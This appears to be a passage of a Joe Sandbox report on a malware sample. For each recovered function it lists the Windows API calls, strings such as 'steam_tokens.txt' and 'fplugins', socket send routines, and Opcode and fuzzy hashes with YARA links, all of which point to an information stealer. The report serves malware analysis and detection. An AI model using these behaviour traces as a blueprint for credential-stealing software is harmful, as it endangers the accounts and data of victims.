Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID: steam_tokens.txt
API String ID: 367037083-401951677
Opcode ID: f9c0ca931a9092433489d5b23e90039c4244a55947d4573b5e80df5d0e6475a3
Instruction ID: 026d68373b5a1d0eea75c305657447f81eb306e56116527ec4e77fa21c8039a8
Opcode Fuzzy Hash: f9c0ca931a9092433489d5b23e90039c4244a55947d4573b5e80df5d0e6475a3
Instruction Fuzzy Hash: A831AE75B106155BC721BF3ADD4A69F7BA5AF00308F44413ABC44EB2A2DB78DC468BD8

Function 00409AE0 Relevance: 9.1, APIs: 6, Instructions: 67filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,004012EE), ref: 00409AFA
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,004012EE), ref: 00409B10
LocalAlloc.KERNEL32(00000040,?,?,?,?,004012EE), ref: 00409B27
ReadFile.KERNEL32(00000000,00000000,?,004012EE,00000000,?,?,?,004012EE), ref: 00409B40
LocalFree.KERNEL32(?,?,?,?,004012EE), ref: 00409B60
CloseHandle.KERNEL32(00000000,?,?,?,004012EE), ref: 00409B67

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: edf5a70ac5a0ecade573d5e97560e1ebb30fdbea7cda60c5370c583c90d0fb81
Instruction ID: d5e2846254d17b4b79341e9ac440d2f7db04c9e9ad0a28dbd651dd387858d46a
Opcode Fuzzy Hash: edf5a70ac5a0ecade573d5e97560e1ebb30fdbea7cda60c5370c583c90d0fb81
Instruction Fuzzy Hash: 06114C71A00209AFE7109FA5ED84ABB737DFB04750F10016AB904A72C1EB78BD408BA8

Function 004089B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 004089C6

Part of subcall function 0042A1F0: std::exception::exception.LIBCMT ref: 0042A205
Part of subcall function 0042A1F0: __CxxThrowException@8.LIBCMT ref: 0042A21A
Part of subcall function 0042A1F0: std::exception::exception.LIBCMT ref: 0042A22B

std::_Xinvalid_argument.LIBCPMT ref: 004089FD

Part of subcall function 0042A1A3: std::exception::exception.LIBCMT ref: 0042A1B8
Part of subcall function 0042A1A3: __CxxThrowException@8.LIBCMT ref: 0042A1CD
Part of subcall function 0042A1A3: std::exception::exception.LIBCMT ref: 0042A1DE

memcpy.MSVCRT(?,00000000,?,00000000,?,?,00408800,?,00000000,004077D7), ref: 00408A5B

Strings

invalid string position, xrefs: 004089C1
string too long, xrefs: 004089F8

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_$memcpy
String ID: invalid string position$string too long
API String ID: 85833692-4289949731
Opcode ID: 2a321b1e742b60549fd18dab2276a571f89c05a31b4a451b5631bac38730cc2b
Instruction ID: a5d7c2168b78e4150d353aefd43fc62f46487c74dda4e8bab9534ba1aa32e93e
Opcode Fuzzy Hash: 2a321b1e742b60549fd18dab2276a571f89c05a31b4a451b5631bac38730cc2b
Instruction Fuzzy Hash: 6021F6723006108BC720AA5DEA40A6BF7A9DBA1760B20093FF1C1DB7C1DA79D841C7ED

Function 00425137 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 59networkCOMMON

Download Yara Rule

APIs

send.WS2_32(00000000,?,?,00000000), ref: 00425196
closesocket.WS2_32(00000000), ref: 004251A2
WSACleanup.WS2_32 ref: 004251A8

Strings

tUC, xrefs: 0042515A
tUC, xrefs: 004251AE

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Cleanupclosesocketsend
String ID: tUC$tUC
API String ID: 869633743-2464862533
Opcode ID: 60c07f2d52d05aa53996d08d91d93e2ea087ed757057575ad05398821c2d38de
Instruction ID: 1e3c10656195424e9f0d8f750e5b73370f08aad59299045dc5156016a46bc7af
Opcode Fuzzy Hash: 60c07f2d52d05aa53996d08d91d93e2ea087ed757057575ad05398821c2d38de
Instruction Fuzzy Hash: 4821AF31E10528DBCB10EB21DD41AEDB335FF85354F9481AAE84867155DF746E818FD8

Function 00423360 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,?), ref: 0042338F
HeapAlloc.KERNEL32(00000000), ref: 00423396
GlobalMemoryStatusEx.KERNEL32 ref: 004233B1
wsprintfA.USER32 ref: 004233D7

Strings

%d MB, xrefs: 004233D1

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB
API String ID: 3644086013-2651807785
Opcode ID: 78669e7fd8996aaeaf16f5da432f06afa1ae27366252da14529233e783b02d12
Instruction ID: c36acef075419d19999ecbea34b1050ae83b9e52d7b1e82267a6badadde7c402
Opcode Fuzzy Hash: 78669e7fd8996aaeaf16f5da432f06afa1ae27366252da14529233e783b02d12
Instruction Fuzzy Hash: C701D8B1B04614AFD704DF98DD45BAEB7B9FB44711F50062EF906D7380D7B859008AA9

Function 004208E8 Relevance: 8.4, APIs: 4, Strings: 1, Instructions: 931stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00427210: lstrcpy.KERNEL32(00000000,ERROR), ref: 0042722E

Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401437
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401459
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 0040147B
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 004014DF

Part of subcall function 00406000: lstrcpy.KERNEL32(00000000,?), ref: 0040602F
Part of subcall function 00406000: lstrcpy.KERNEL32(00000000,0042D01C), ref: 00406082
Part of subcall function 00406000: lstrcpy.KERNEL32(00000000,0042D01C), ref: 004060B5
Part of subcall function 00406000: lstrcpy.KERNEL32(00000000,0042D01C), ref: 004060E5
Part of subcall function 00406000: lstrcpy.KERNEL32(00000000,0042D01C), ref: 00406120

Part of subcall function 004180E0: strtok_s.MSVCRT ref: 00418105
Part of subcall function 004180E0: lstrlenA.KERNEL32(00000000,?,?,?,?,?,0042093B), ref: 0041814B
Part of subcall function 004180E0: lstrcpy.KERNEL32(00000000,00000000), ref: 0041817A
Part of subcall function 004180E0: strtok_s.MSVCRT ref: 0041820F

lstrcpy.KERNEL32(00000000,?), ref: 004209AD

Strings

fplugins, xrefs: 00420908

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s$lstrlen
String ID: fplugins
API String ID: 2116072422-38756186
Opcode ID: df3ab0ae15cb544c8782499ae09773bf038d027e724d55b3ed712a725587c8aa
Instruction ID: 999a2b63c7f0ef9012465d768e0bca9d52b267aa599f6bb2cb3f5a9110911600
Opcode Fuzzy Hash: df3ab0ae15cb544c8782499ae09773bf038d027e724d55b3ed712a725587c8aa
Instruction Fuzzy Hash: D7824D70A012118FDB24DF29D484B6AB7F1BF58318F59C1AED4089B3A2DB79DC82CB55

Function 00417700 Relevance: 7.9, APIs: 5, Instructions: 406stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00408FF0: ??2@YAPAXI@Z.MSVCRT(00000020), ref: 00408FF9

Part of subcall function 00424800: LoadLibraryA.KERNEL32(ws2_32.dll,?,00417741), ref: 00424806
Part of subcall function 00424800: GetProcAddress.KERNEL32(00000000,connect), ref: 0042481C
Part of subcall function 00424800: GetProcAddress.KERNEL32(00000000,WSAStartup), ref: 0042482D
Part of subcall function 00424800: GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 0042483E
Part of subcall function 00424800: GetProcAddress.KERNEL32(00000000,htons), ref: 0042484F
Part of subcall function 00424800: GetProcAddress.KERNEL32(00000000,WSACleanup), ref: 00424860
Part of subcall function 00424800: GetProcAddress.KERNEL32(00000000,recv), ref: 00424871
Part of subcall function 00424800: GetProcAddress.KERNEL32(00000000,socket), ref: 00424882
Part of subcall function 00424800: GetProcAddress.KERNEL32(00000000,freeaddrinfo), ref: 00424893
Part of subcall function 00424800: GetProcAddress.KERNEL32(00000000,closesocket), ref: 004248A4
Part of subcall function 00424800: GetProcAddress.KERNEL32(00000000,send), ref: 004248B5

StrCmpCA.SHLWAPI(?,00809978), ref: 00417770
StrCmpCA.SHLWAPI(?,008099B8), ref: 00417848
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00417880
lstrcpy.KERNEL32(00000000,?), ref: 004178DD

Part of subcall function 00427240: lstrcpy.KERNEL32(00000000), ref: 0042725A

Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401437
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401459
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 0040147B
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 004014DF

Part of subcall function 00415BE0: lstrcpy.KERNEL32(00000000,0042D01C), ref: 00415C15
Part of subcall function 00415BE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 00415C44
Part of subcall function 00415BE0: lstrcpy.KERNEL32(00000000,00000000), ref: 00415C75
Part of subcall function 00415BE0: lstrcpy.KERNEL32(00000000,00000000), ref: 00415C9D
Part of subcall function 00415BE0: lstrcatA.KERNEL32(00000000,00000000), ref: 00415CA8
Part of subcall function 00415BE0: lstrcpy.KERNEL32(00000000,00000000), ref: 00415CD0

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$AddressProc$??2@FolderLibraryLoadPathlstrcat
String ID:
API String ID: 3558977763-0
Opcode ID: dcdbc98cc7d3b86100d7f17d52cd57ba6f00916aa6af3200056052eb30660425
Instruction ID: a0a03103f663b885eba9c993569d878ba65c27d31b33fb6db49287bddafa70e1
Opcode Fuzzy Hash: dcdbc98cc7d3b86100d7f17d52cd57ba6f00916aa6af3200056052eb30660425
Instruction Fuzzy Hash: 8DF18F71E042058FCB24DF29D444B99B7B1AF44314F19C1AEE809AB3A2D739ED86CF95

Function 00417C0F Relevance: 7.9, APIs: 5, Instructions: 367stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,00809978), ref: 00417770
StrCmpCA.SHLWAPI(?,008099B8), ref: 00417848
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00417880
lstrcpy.KERNEL32(00000000,?), ref: 004178DD

Part of subcall function 00427240: lstrcpy.KERNEL32(00000000), ref: 0042725A

Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401437
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 00401459
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 0040147B
Part of subcall function 00401410: lstrcpy.KERNEL32(00000000,?), ref: 004014DF

Part of subcall function 00415BE0: lstrcpy.KERNEL32(00000000,0042D01C), ref: 00415C15
Part of subcall function 00415BE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 00415C44
Part of subcall function 00415BE0: lstrcpy.KERNEL32(00000000,00000000), ref: 00415C75
Part of subcall function 00415BE0: lstrcpy.KERNEL32(00000000,00000000), ref: 00415C9D
Part of subcall function 00415BE0: lstrcatA.KERNEL32(00000000,00000000), ref: 00415CA8
Part of subcall function 00415BE0: lstrcpy.KERNEL32(00000000,00000000), ref: 00415CD0

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$FolderPathlstrcat
String ID:
API String ID: 2938889746-0
Opcode ID: 9866789ea37987c6e343d84aff8833514b20b8060ae5253177e0509c2bde15da
Instruction ID: f6c97a3314f83016de571b52e0de402022c4d516c50959ab7ef0a976cd6055a0
Opcode Fuzzy Hash: 9866789ea37987c6e343d84aff8833514b20b8060ae5253177e0509c2bde15da
Instruction Fuzzy Hash: 79F18071E04205CFDB24DF29C444A99B7B1AF48314F19C1AED809AB362D739ED86CF95

Function 0041781D Relevance: 7.9, APIs: 5, Instructions: 365stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,00809978), ref: 00417770
StrCmpCA.SHLWAPI(?,008099B8), ref: 00417848
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00417880
lstrcpy.KERNEL32(00000000,?), ref: 004178DD
StrCmpCA.SHLWAPI(?,00809A88), ref: 00417B7D

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 51af667f2cf0078327115fcfc039dc5d1cb442fc2c2fec5f94213dea94bc8384
Instruction ID: 42020a5f25f283ef604f6b152d08850c3cd6549248bacd07b0ddf2781110d9a8
Opcode Fuzzy Hash: 51af667f2cf0078327115fcfc039dc5d1cb442fc2c2fec5f94213dea94bc8384
Instruction Fuzzy Hash: EDF18071E04205CFDB24DF29D444A9AB7B1AF48314F19C1AED808AB362D739ED86CF95

Function 00417AE0 Relevance: 7.9, APIs: 5, Instructions: 363COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,00809978), ref: 00417770
StrCmpCA.SHLWAPI(?,00809A88), ref: 00417B7D

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03446ce4a8e2c0ef72b7ab21db3f35ff3b71c02489f9740897fa3b0108c773b9
Instruction ID: ae5783fc6847c420cb7c5473112a2df7d5ec379ae9d337590f515e2e8c2f3ece
Opcode Fuzzy Hash: 03446ce4a8e2c0ef72b7ab21db3f35ff3b71c02489f9740897fa3b0108c773b9
Instruction Fuzzy Hash: 95E18071E04205CFDB24DF29D444A9AB7B1AF48314F19C1AED808AB362D739ED86CF95

Function 0041BCC9 Relevance: 7.6, APIs: 6, Instructions: 130stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32 ref: 0041BCD0
lstrcpy.KERNEL32(00000000,?), ref: 0041BCFB
lstrcpy.KERNEL32(00000000,?), ref: 0041BD2E
lstrcpy.KERNEL32(00000000,?), ref: 0041BD59
lstrcpy.KERNEL32(00000000,?), ref: 0041BD89
lstrcpy.KERNEL32(00000000,?), ref: 0041BDB4

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: bdcfcb8d519dc0f1a4261f77acd4cc908f5f5d86da6d6f4c0f77a707a10261f0
Instruction ID: e3f957cb3175e9dca8e701ed6337e9aec411e66ee3ccc126ade388f0e249f529
Opcode Fuzzy Hash: bdcfcb8d519dc0f1a4261f77acd4cc908f5f5d86da6d6f4c0f77a707a10261f0
Instruction Fuzzy Hash: FA41EC71A102158BCB14BF6ADE8A59F77B4AF40304F14457AF845BB3A1DA78EC418BD8

Function 6C9CC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C9CC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C9CC969
GetSystemInfo.KERNEL32(?), ref: 6C9CC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C9CC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C9CC9E2

Memory Dump Source

Source File: 00000000.00000002.2676141652.000000006C9B1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C9B0000, based on PE: true

Associated: 00000000.00000002.2676117000.000000006C9B0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2676241303.000000006CA2D000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2676273767.000000006CA3E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2676302652.000000006CA42000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9b0000_2BI8rJKpBa.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 1bae16c69938a1c18627050d069dda6c4be59a772c1f360cd026019de2e10309
Instruction ID: b4486afb32cc3675b14e16c5b090588918b52afe1fc9af4824a0016520ce7c4e
Opcode Fuzzy Hash: 1bae16c69938a1c18627050d069dda6c4be59a772c1f360cd026019de2e10309
Instruction Fuzzy Hash: 22213A317017166BDB19AA24DC98BAEB779AF4A344F50411DF90BE7A80DB30DC418792

Function 004230D0 Relevance: 7.6, APIs: 5, Instructions: 61registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00423106
HeapAlloc.KERNEL32(00000000), ref: 0042310D
RegOpenKeyExA.KERNEL32(80000002,0080C5B8,00000000,00020119,00000000), ref: 0042312C
RegQueryValueExA.KERNEL32(00000000,008112D8,00000000,00000000,00000000,000000FF), ref: 00423147
RegCloseKey.ADVAPI32(00000000), ref: 00423151

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 30c69b7c6e6d57478283ec0ad1c39fcb716f3e08e266cf8b7016b9675f2202dc
Instruction ID: 4669c23c75fc1d89614fa3d002270f05af48c89a5e4cdb62cc72cb580e02ba8e
Opcode Fuzzy Hash: 30c69b7c6e6d57478283ec0ad1c39fcb716f3e08e266cf8b7016b9675f2202dc
Instruction Fuzzy Hash: 68118F72A44204AFD714CB98EC45FBBBBBDEB48B11F00422AFA05D3280DB7459048BE1

Function 00417CA0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00417D14
std::_Xinvalid_argument.LIBCPMT ref: 00417D2F
memcpy.MSVCRT(?,?,?,00000000,?,00000000,?,004091B6,?,?,?,?,00000000,?,00001000,?), ref: 00417D84

Part of subcall function 00417DC0: std::_Xinvalid_argument.LIBCPMT ref: 00417DD8
Part of subcall function 00417DC0: std::_Xinvalid_argument.LIBCPMT ref: 00417DF6
Part of subcall function 00417DC0: std::_Xinvalid_argument.LIBCPMT ref: 00417E11
Part of subcall function 00417DC0: memcpy.MSVCRT(?,?,?,00000000,?,?,00417CFA,00000000,?,?,00000000,?,004091B6,?), ref: 00417E74

Strings

string too long, xrefs: 00417D0F, 00417D2A

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$memcpy
String ID: string too long
API String ID: 2304785028-2556327735
Opcode ID: 3cb7f4a62cace0d6ba891af67e724f4fac49b167af8ae085d6b8ae5b2d138131
Instruction ID: b96f7be81a95d1306900e186880257dc543220baca3779c6a9458004e49c7b48
Opcode Fuzzy Hash: 3cb7f4a62cace0d6ba891af67e724f4fac49b167af8ae085d6b8ae5b2d138131
Instruction Fuzzy Hash: 5731E5723086148BD7249E6CF880ABBF7F9EF91764B204A2BF14687741D775988183ED

Function 0041EFE0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0041F013
StrCmpCA.SHLWAPI(?,ERROR,?,?,?,?,?,?,?,?,?,0041F54D), ref: 0041F02E
lstrcpy.KERNEL32(00000000,ERROR), ref: 0041F08F

Strings

ERROR, xrefs: 0041F028, 0041F089

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

